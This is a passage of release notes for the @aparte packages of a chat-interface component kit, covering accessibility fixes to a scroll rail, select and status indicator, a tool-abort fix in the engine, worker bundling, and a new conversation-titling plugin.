    <aparte-scroll-rail> is position: absolute, so it lands in the nearest positioned ancestor. The recipe hands the shell that containing block with :has(), and it listed two of the three shell shapes core’s own layout already knows: the vanilla <aparte-chat> and the [data-aparte-chat] div React/Vue/Svelte render. Angular’s host IS <aparte-chat> but its shell is the inner .aparte-chat-container, and that div carries no attribute — so a rail inside an Angular chat escaped to whatever ancestor happened to be positioned, in the ordinary case the page. .aparte-chat-container:has(> aparte-scroll-rail) closes it; the other two wrappers’ root already carries both the class and the attribute, so nothing moves for them.

    The second half is the same rail, in overlay mode. The bottom-stack rule said > :not(aparte-chat-viewport) on the premise that the only child which is not the viewport IS the stack — true when it was written, and the rail made it false: it matched, took position: relative, and the one child that floats by design dropped into the flow above the composer. The :not() now names both. @aparte/core

  • 04b9dd0: Scroll-rail ticks are 24px click targets on a 24px pitch. --aparte-scroll-rail-hit-size is the new knob and --aparte-scroll-rail-gap now derives from it, so fewer ticks fit in the rail before it clips.

    A tick is a <button> that jumps the transcript, and it was drawn as the line it stands for: the pressable zone measured 22×10 CSS px on a 10px pitch, under WCAG 2.5.8’s 24×24 minimum with no spacing exemption to fall back on (the exemption is measured on a 24px circle per target, and at a 10px pitch the neighbours’ circles overlap). The rail hides entirely under (pointer: coarse), so the bar is 2.5.8’s 24px rather than 2.5.5’s 44px.

    Growing only the pseudo-element would have satisfied the letter of the rule and made mis-hits worse — two 24px zones on a 10px pitch overlap by 14px, and the z-order then decides every press — so the pitch rises with the zone: --aparte-scroll-rail-gap is hit − thickness, which makes gap + thickness exactly the pitch and the zones tile edge to edge.

    What to change if you had tuned these: set --aparte-scroll-rail-hit-size rather than --aparte-scroll-rail-gap, since the gap now follows it. --aparte-scroll-rail-width takes the hit size as a floor (max(…)) because the rail clips: a narrower column cut the zone back on the very edge a reader aims at. The drawn line is unchanged at 14×2. @aparte/core

  • ce72d8e: A searchable <aparte-select> again announces which option is selected: its trigger’s accessible name is now "<control>: <selected label>" (e.g. “Pick a model: GPT-4o mini”) instead of the control’s name alone.

    searchable makes the trigger a role="button", and a button takes its name from its content — which an author aria-label overrides. The name written for the combobox shape (where the visible label span was the VALUE and the attribute only the NAME) therefore swallowed the selection: readers heard “Pick a model, button” and never the model. The name now carries both halves, follows every selection change, and drops the second half when it would only repeat the first. The listbox keeps the control’s name, and a non-searchable select is unchanged. @aparte/core

  • 204343f: history: 'viewport' now sends assistant turns a host seeded without a status; the whole transcript used to be dropped and the model got only the new question.

    status is optional on AparteMessage, and a host that seeds a transcript — restoring a saved conversation, hydrating a server-rendered one — has no reason to invent one for turns that are already over. _toHistoryMessages gated on status === 'completed', so with none the cutoff never advanced past the first message and every seeded turn was sliced away. Nothing in the UI showed it: the viewport still rendered the whole conversation, and only the next request was missing it.

    Both gates now ask “is this still in flight?” instead: a streaming or pending turn is held back, an error turn is still dropped and still does not advance the cutoff, and everything else — status or no status — is history. @aparte/core

  • ce72d8e: A searchable <aparte-select> now puts role="combobox", aria-expanded, aria-controls and the roving aria-activedescendant on the filter field instead of the trigger, so the arrow-key highlight is announced. The trigger becomes a role="button" when (and only when) the field exists; without searchable nothing changes.

    Opening a searchable select focuses the filter field, and a screen reader follows focus — so the combobox state has to live there. It lived on the trigger: the highlight moved with every ArrowDown and was announced to nobody, and the control declared two comboboxes for one value. aria-expanded now follows the open state on both elements. @aparte/core

  • ce72d8e: A disabled <aparte-select> no longer removes the open attribute you wrote, and opens the moment you remove disabled.

    open is the consumer’s attribute, and a one-way binding writes it once: taking it back left the template saying open and the element saying closed, with no write left to reconcile them — <aparte-select [disabled]="true" [open]="true"> in Angular went to the element and came straight back out. The select still refuses to open while disabled; the attribute simply stands, and the disabled branch honours it on the way out, symmetrically to the close it already does on the way in. @aparte/core

  • ce72d8e: Setting open on <aparte-select> — the attribute or the property, after mount or in the initial markup — now runs the same path as a click: aria-expanded follows in both directions, the keyboard highlight is seeded on open and cleared on close, and aparte-select-open / aparte-select-close fire once per transition. A disabled select still refuses to open, and drops the open attribute rather than leaving it claiming otherwise.

    The attribute had a branch of its own that unhid the panel and stopped there, so the documented way to control the dropdown produced a state a click never produces: a visible list announced as collapsed, with the arrow keys starting from nowhere. The branch now delegates, guarded against the re-entry the two methods’ own reflecting writes cause. @aparte/core

  • ce72d8e: Re-parenting an open <aparte-select> no longer fires a second aparte-select-open or resets the keyboard highlight: a portal, a Vue teleport or any framework move keeps the dropdown exactly where it was.

    connectedCallback runs on every re-connect, and routing the mount-time open attribute through the open path made a move look like a transition — the event fired again and the highlight was re-seeded on the selected option, losing where the arrow keys had got to. Mount now only opens when the element is not already open, and _openDropdown() returns early when it is, so every entry into it (attribute, property, click, re-connect) is idempotent. @aparte/core

  • c9d863d: Renaming a conversation now keeps the focus on the row when you leave the field by Tab or by clicking away, not only on Enter.

    Every exit re-renders the list, so the field the reader was typing in stops existing. Enter and Escape put the row’s title button back under the keyboard; the blur path passed a hard-coded false and left the focus on <body>, so the next Tab restarted at the top of the page. It now looks at where the focus is going: nowhere, or somewhere inside the list this render is about to destroy, and the row takes it back — a live control outside the list keeps it, since pulling it back from there would be theft.

    The restore also moved after the aparte-rename-conversation event rather than before it. A host that re-assigns conversations when it hears that event re-renders the list, which destroyed the button that had just been focused — so even Enter lost the row in the one integration that matters most. @aparte/core

  • 6e7386b: <aparte-chat-status> now carries a screen-reader-only word inside its live region, so the default dots-only form is announced instead of being silent.

    The container is role="status" aria-live="polite", and a live region announces its CONTENT. In the dots-only default that content was an aria-hidden dot and an empty span — the empty string — so the whole state rode on aria-label, which names the region rather than reporting it. A sighted reader saw the dots pulse; a screen-reader user was told nothing.

    One writer now keeps exactly one of the two text nodes populated: the visible .aparte-status-text when the text attribute is set (the label is already that same string, so a second copy would be read twice), and a new .aparte-status-sr span wearing the existing .aparte-sr-only recipe when it is not. No new CSS, no new token, and the documented dots-only LOOK is unchanged — nothing visible was added.

    One edge aligns as a consequence: mounting with an empty text="" used to print the literal Typing on screen, where setting text="" after mount cleared it. Both paths now read an empty attribute as the dots-only default. @aparte/core

  • 6e7386b: <aparte-chat-status> writes its fallback word into the live region when visible arrives, and clears it when visible leaves — so a screen reader hears the indicator on every turn, not just in theory.

    The word was there already; it was written at the wrong moment. _render() put Typing in the screen-reader span while the host was still display: none (aparte-chat-status:not([visible]) hides it, and all four wrappers mount the element once and flip the attribute). So the region was never MUTATED while it was exposed: it appeared with its text already in it — the reveal-from-hidden path assistive tech is documented not to announce reliably — and from the second turn on there was not even a reveal-time difference, the string being byte-identical to what was sitting there.

    Driving it from visibility makes each turn a real content change on a region that is already on screen, which is the path that announces. Nothing about the look moves: the dots-only line is still dots-only, and when text is set the visible span carries it exactly as before, with the screen-reader span left empty so the line is read once.

    If you drive the element by hand rather than through a wrapper, show()/hide() (or the visible attribute) is now what puts the word in the region — mounting it without visible leaves the region empty, as it should, since the element is not on screen. @aparte/core

  • 52a9a00: The tabs recipe’s examples now ship the roving tabindex, aria-controls and aria-labelledby that their role="tablist" promises, and the segmented variant has a panel. Copying the banner markup no longer copies a defect.

    The examples are the live preview the kit page renders, and they showed a role="tablist" of plain buttons: every tab a tab stop, none of them naming a panel — which announces more than plain buttons and does less. The banner now also says which part stays the app’s (the ArrowLeft/ArrowRight/Home/End handler) and points at a working one. @aparte/core

  • 97eb642: The image-preview button is now the thumbnail image rather than the tile: the ✕ is no longer a button nested inside a button, and the tile no longer announces its file name three times.

    In the composer’s pending strip, role="button" sat on the tile, and the tile wraps the remove <button>. No role permits a button inside a button, and the outer one takes its name from its contents — so a screen reader read the file name from the title, again from the hover overlay, and a third time inside “Remove report.png”, then offered two nested controls with no way to tell which an Enter would reach.

    The role, the tab stop and an explicit aria-label (the file name, once) now sit on the <img>, which is what the preview opens; the ✕ sits beside it. Its focus ring is drawn inset, because the tile is the frame and clips: an outline drawn outward from an image that fills the tile would not be visible at all.

    The sent-message strip in the bubble is unchanged and keeps the role on its tile — it has no ✕, so nothing is nested and the tile is the whole control. @aparte/core

  • 7389228: A Stop now ends the run immediately even when a tool handler ignores its abort signal — the turn no longer sits until toolTimeoutMs (five minutes by default), and a handler that resolves after the Stop no longer appends a tool result.

    invokeToolHandler already raced the per-call TIMEOUT, for a measured reason: aborting a controller is a request a handler is free to ignore, and the default shape of a consumer tool — async () => ({ content: await fetch(...).then(r => r.text()) }) — never reads its signal. The parent abort was left out of that race. It only ran onParentAbort, which aborts the same child controller the deaf handler ignores, so a Stop pressed while a tool was in flight changed nothing the user could see: the loop stayed parked on the handler, the typing indicator stayed up, and run-aborted arrived only once the timeout budget expired.

    The parent signal is now a third racer beside the timeout, on the same terms: the signal still fires first, so a handler that honours it keeps the chance to reject cleanly, and the racer only decides the case where it does not. The listener is removed in the finally alongside the existing one, so a long turn does not accumulate listeners on the run’s signal. @aparte/engine

  • 2cd2c50: The worker now ships as dist/worker.js and is constructed from a literal new URL('./worker.js', import.meta.url), so a bundled app resolves @huggingface/transformers inside the worker instead of failing on every model load. No configuration changes on your side — no worker loader, no copy rule, no entry of your own.

    _spawnWorker carries a comment saying that literal “is not style”: it is the exact shape Vite’s worker detection and webpack’s WorkerPlugin match on, and matching it is what makes a consumer’s bundler process the worker as a MODULE rather than copy it as an opaque asset. The claim was true of the source and false of the published bytes. The build handed the emit to Vite’s own worker plugin, which rewrote the call to new Worker(new URL(/* @vite-ignore */ "" + new URL("assets/worker-<hash>.js", import.meta.url).href, import.meta.url)) — nothing static left for anyone to detect. The chunk was then copied verbatim, its import('@huggingface/transformers') stayed a bare specifier no browser can resolve, and it also pulled two sibling hashed runner chunks a consumer’s build never emitted.

    Two things had to become true: the worker must sit at a stable path a bundler can be pointed at, and it must contain no specifier a verbatim copy cannot resolve. It is a second lib entry now, so dist/worker.js and dist/runners/{shared,text-generation,image-text-to-text}.js are real published files with names — relative between themselves, so they follow the worker to whatever origin serves it, and @huggingface/transformers is the one bare specifier left. The build removes Vite’s worker-import-meta-url and asset-import-meta-url transforms, which is what lets the literal survive into the artifact; dev and the test run keep them, since that is what resolves ./worker.js to src/worker.ts there.

    Both halves are now asserted against the built bytes rather than the source — src/__tests__/published-shape.test.ts for the literal and the file, and a check:bundle-entries contract that walks the worker’s chunks for stray specifiers. The defect existed only in the output, so only a test that reads the output could have seen it.

    The cross-origin blob: path is unchanged: same behaviour, same CSP note, same error message. @aparte/provider-transformers

  • a78320a: summaryMaxTokens reserves room in the window budget; it never truncated the summary and no longer claims to.

    Its JSDoc read “Hard cap for summary tokens” and summaryRatio’s read “Ratio of history budget allocated to the summary block”, so both described a bound on the text a summariser returns. splitHistoryBudget uses them for one thing: summary = min(summaryMaxTokens, budget × summaryRatio), and that number is subtracted from the verbatim window. Nothing measures a summary against it and nothing clips one — a summariser that overruns simply costs the turn more than the split assumed, silently, which is the failure mode a reader trusting the word “cap” would never look for.

    Words only: splitHistoryBudget, the defaults and the numbers are untouched. If you need a real bound, clip inside your own summarize. @aparte/plugin-compaction

  • 9a1f93c: <AparteChat> and <AparteUi> accept callback props alongside their events: onmessageSent, onaction, onmessagesChange, onmessageAppended, ontypingChange, onconversationCreated on the chat, onelementEvent on the element host. Each is called with the payload itself (no CustomEvent to unwrap), in addition to the event, so a Svelte 4 consumer changes nothing and a Svelte 5 consumer never writes on: on a component. The Svelte 5 example now runs in runes mode on those callbacks.

    Svelte 5 documents createEventDispatcher as deprecated and recommends callback props; measured before this landed, the 5.56 compiler warns on neither the dispatcher nor on: on a component (only on on: for a DOM element in runes mode), so this is the framework’s idiom arriving in the wrapper, not an emergency. The other three wrappers already speak theirs: React props, Vue emits, Angular outputs. @aparte/svelte

Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.10

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 33b8cc0: AparteConversationManager.setTitleProvider(fn) replaces how a new conversation is titled from its first user message.

    A conversation’s title was decided in one private place, _autoTitle, and it was the message as typed. A consumer with a titler — a model in the browser, a request to a backend, a heuristic — had no way in short of racing updateTitle behind every send, and losing the race on the sidebar. The seam is on the manager, which owns that one place: setTitleProvider(provider) / getTitleProvider(), plus a titleProvider constructor option. The provider receives the message’s text and the message, may be async, and is consulted once per conversation; an empty answer or a throw leaves the default, so a titler that fails never loses the message from the list. updateTitle is untouched. @aparte/plugin-titler binds an aparte-titler model to it. @aparte/core

  • 36af623: <aparte-scroll-rail> works on a long conversation: it no longer rebuilds itself every frame, every turn stays reachable and the current tick stays visible, a click lands on its message and keeps its mark, and the rail sits clear of a classic scrollbar, centred on the transcript rather than the composer, and never taller than a share of it.

    Measured in Chromium, Firefox and WebKit on a 40-turn chat before the fix: the rail rebuilt itself 61 to 146 times a second at rest, with a new IntersectionObserver each time, because its mutation observer watched the whole host subtree — the rail included — and every rebuild replaced every tick. Nothing on a tick survived a frame: focus, the arrow keys, a hover tooltip. Past sixteen ticks the rest was clipped, the current one included, so the mark was invisible on the long thread the rail exists for. A jump ended on the wrong mark two times in three, and landed up to 1,213px off the message on a long transcript, because the bubbles carry content-visibility: auto and a scroll aims at an estimated position.

    Now the rail drops its own mutations, reconciles its ticks by message id (the same nodes, so focus, hover and the tooltip survive an appended turn or a streaming reply) and re-observes only when the bubbles change. It is the height of its list, capped at 60% of the transcript (--aparte-scroll-rail-share) and centred on it — a list of ticks, as LobeChat’s, not a full-height minimap. When more turns exist than 24px targets fit in that cap, it tightens the pitch to what fits — never under 6px — by setting --aparte-scroll-rail-hit-size and --aparte-scroll-rail-gap on itself; past that floor it scrolls, keeping the current tick in its window, and the arrows still walk every tick. A jump holds its mark until the transcript has settled, then re-aligns on the message when the scroll landed off it. Three measurements are published on the element for the stylesheet — --aparte-scroll-rail-bar (a classic scrollbar’s width), --aparte-scroll-rail-block-start and --aparte-scroll-rail-block-end (the transcript’s extent within the host) — and the reading band now starts at the top of the scroll surface so that a bubble a jump aligned there counts.

    In overlay-composer mode the viewport no longer counts the rail as part of the floating bottom stack when it measures --aparte-bottom-inset: the stylesheet already named the rail as not the stack, the measurement had not, and a rail centred on the transcript froze the inset at the distance from its own top while the composer grew under a draft.

    If you had styled the rail: it is a flex column now, overflow-y: auto with no visible scrollbar, and its top is the middle of the transcript’s measured span rather than of the host. @aparte/core

  • 3df9174: New package: setupTitler(manager, { titler: loadTitler }) titles each conversation from its first message with an aparte-titler model — 3 to 6 words, in the browser, no API call.

    The model is not a dependency of the plugin: hand it @aparte/titler-latin’s loadTitler (17 languages, 133 KB), a Titler, a promise of one, or any object with title(message, budget?). The loader runs once, the first time a title is needed. createTitleProvider(options) is the provider alone, for a manager built with the titleProvider option; the teardown returned by setupTitler restores the previous provider. @aparte/plugin-titler

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.11 Latest

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 6d3272e: The README carries the webcomponents.org badge; nothing changes in the code you import.

    The listing at webcomponents.org/element/@aparte/core exists as of 2026-09-05 and the badge links to it from npm and GitHub. Only core is listed, by decision: the plugins stay off the catalogue for now. @aparte/core

  • 21dd3bc: The four plugins that ship a custom element now carry the web-components npm keyword; nothing changes in the code you import.

    Each already pointed customElements at its manifest, which is what the webcomponents.org catalogue reads, but only core carried the keyword the catalogue and npm search filter on. The five plugins that expose no element (compaction, marked, shiki, streaming-markdown, titler) are untouched: they have nothing to list there. @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-model-selector

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.